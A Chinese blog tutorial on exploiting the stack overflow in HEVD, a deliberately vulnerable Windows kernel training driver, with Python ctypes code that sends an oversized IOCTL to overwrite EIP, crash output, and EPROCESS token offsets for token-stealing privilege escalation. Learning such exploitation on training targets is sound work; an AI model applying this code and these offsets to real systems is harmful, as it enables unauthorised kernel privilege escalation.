[原创]内核进击之旅--HEVD--stackoverflow
内核进击之旅--HEVD--stackoverflow
HEVD
HEVD全称是HackSysExtremeVulnerableDriver,它是一个包含各种Windows内核漏洞的驱动程序项目,可以用来学习Windows内核攻击。地址是https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
前奏
首先需要编译驱动程序,在前一篇中安装环境和编译已经描述清楚了。一开始我编译的平台是Win7x86。后面再介绍x64,二者相差不大。编译完成后,使用OSR driver Loader在目标系统中加载驱动,加载完成后开始分析。同时在windbg里执行ed nt!Kd_Default_Mask 8就可以修改注册表打开DbgPrint调试输出。
漏洞分析
第一个漏洞是stackoverflow,因为程序有源代码,所以我先直接看的源代码。可以看到HACKSYS_EVD_IOCTL_STACK_OVERFLOW IO code对应的是StackOverflowIoctlHandler例程函数。跟进去这个函数,发现它获取了用户的输入以及用户传入的输入大小并且调用TriggerStackOverflow函数,继续跟进,发现TriggerStackOverflow即是漏洞函数。
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = {0};
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
DbgPrint("[+] Triggering Stack Overflow\n");
// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
// because the developer is passing the user supplied size directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of KernelBuffer
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
通过这个函数可以看到漏洞的成因是KernelBuff大小是固定的512*8字节,而在最后拷贝的时候却使用的是用户自定义的大小,导致存在溢出。
漏洞利用
BSOD
想要利用漏洞,首先能触发漏洞并引起BSOD,漏洞触发很简单,只要传入的UserBuff以及Size都大于KernelBuff即可。为了练习Python编程能力,使用Python的ctypes来写程序(其实主要是看别人的代码来改)。
把程序拖进IDA,看到KernelBuff的地址是unsigned int KernelBuffer[512]; // [esp+Ch] [ebp-828h],所以传入的输入大于0x828+4即可覆盖eip导致异常崩溃。
首先是获取驱动句柄:
def gethandle():
"""Open handle to driver and return it"""
print "[*]Getting device handle..."
lpFileName = u"\\\\.\\HacksysExtremeVulnerableDriver"
dwDesiredAccess = GENERIC_READ | GENERIC_WRITE
dwShareMode = 0
lpSecurityAttributes = None
dwCreationDisposition = OPEN_EXISTING
dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
hTemplateFile = None
handle = CreateFileW(lpFileName,
dwDesiredAccess,
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile)
if not handle or handle == -1:
print "\t[-]Error getting device handle: " + FormatError()
sys.exit(-1)
print "\t[+]Got device handle: 0x%x" % handle
return handle
接下来是触发漏洞,触发漏洞首先需要IO code,IO code可以从IDA里面获取,也可以照着源码构造。HEVD的stackoverflow的IO code是0x222003。知道IO code以后就可以用DeviceIoControl来传递IO包去触发漏洞。
def trigger(hDevice, dwIoControlCode):
"""Create evil buf and send IOCTL"""
evilbuf = create_string_buffer("A"*0x828+'1'*4+'2'*4)
lpInBuffer = addressof(evilbuf)
nInBufferSize = 0x828+8
lpOutBuffer = None
nOutBufferSize = 0
lpBytesReturned = None
lpOverlapped = create_string_buffer("A"*8)
pwnd = DeviceIoControl(hDevice,
dwIoControlCode,
lpInBuffer,
nInBufferSize,
lpOutBuffer,
nOutBufferSize,
lpBytesReturned,
lpOverlapped)
if not pwnd:
print "\t[-]Error: Not pwnd :(\n" + FormatError()
sys.exit(-1)
运行脚本,系统崩溃退出。在windbg里面,我们可以看到溢出崩溃后的情况。
Win7_x86!IrpDeviceIoCtlHandler+b7 [c:\users\raycp\desktop\hacksysextremevulnerabledriver-master\driver\hacksysextremevulnerabledriver.c @ 208] 8e3dd4f7 8945f8 mov dword ptr [ebp-8],eax BUGCHECK_STR: ACCESS_VIOLATION EXECUTE_ADDRESS: 32323232 FAILED_INSTRUCTION_ADDRESS: +0 32323232 ??
可以看到eip被覆盖成了0x32323232即输入字符串中的'2'*4
shellcode
一开始学的shellcode就是替换cmd进程token为system的token,达到提权的目的。
为了获取token,需要对windows内核的结构体有些了解。
首先是获取Windows的KPCR(Kernel Processor Control Region)结构体,这个结构体存储了关于处理器的一些信息。在win7 x86系统中该结构体存储在fs:[0],而在x64系统中,结构体存储在gs:[0]中。
kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : Ptr32 Void +0x008 Spare2 : Ptr32 Void +0x00c TssCopy : Ptr32 Void +0x010 ContextSwitches : Uint4B +0x014 SetMemberCopy : Uint4B +0x018 Used_Self : Ptr32 Void +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB ... +0x120 PrcbData : _KPRCB
在KPCR偏移0x120的地方存储了KPRCB( Kernel Processor Control Block)结构体,这个结构体存储了当前处理器的信息,包含线程信息等。
kd> dt nt!_KPRCB +0x000 MinorVersion : Uint2B +0x002 MajorVersion : Uint2B +0x004 CurrentThread : Ptr32 _KTHREAD +0x008 NextThread : Ptr32 _KTHREAD +0x00c IdleThread : Ptr32 _KTHREAD ...
在这里我们关心的是偏移0x4的_KTHREAD结构体,这个指针指向一个ETHREAD结构体,包含当前运行线程的信息。
kd> dt nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 CycleTime : Uint8B +0x018 HighCycleTime : Uint4B +0x020 QuantumTarget : Uint8B +0x028 InitialStack : Ptr32 Void +0x02c StackLimit : Ptr32 Void +0x030 KernelStack : Ptr32 Void +0x034 ThreadLock : Uint4B +0x038 WaitRegister : _KWAIT_STATUS_REGISTER ... +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] UChar +0x057 Priority : Char ...
在_KTHREAD偏移0x40的地方是_KAPC_STATE结构体。这个结构体比较简单:
kd> dt nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar
最终我们看到了_KPROCESS指针,这个指针指向EPROCESS,EPROCESS结构体包含了当前进程的一些信息。
kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x098 ProcessLock : _EX_PUSH_LOCK +0x0a0 CreateTime : _LARGE_INTEGER +0x0a8 ExitTime : _LARGE_INTEGER +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B +0x0d0 CommitCharge : Uint4B +0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK +0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK +0x0dc PeakVirtualSize : Uint4B +0x0e0 VirtualSize : Uint4B +0x0e4 SessionProcessLinks : _LIST_ENTRY +0x0ec DebugPort : Ptr32 Void +0x0f0 ExceptionPortData : Ptr32 Void +0x0f0 ExceptionPortValue : Uint4B +0x0f0 ExceptionPortState : Pos 0, 3 Bits +0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : Uint4B ...
这个结构体中需要关注的字段有三个,一个是UniqueProcessId,表示的是当前进程ID,即我们在任务管理器里面看到的进程号,我们要寻找的system的进程号是4。第二个是Token字段,我们所要做的即是将system的token拷贝至cmd的token字段中。最后一个是ActiveProcessLinks,这是一个双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程。
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
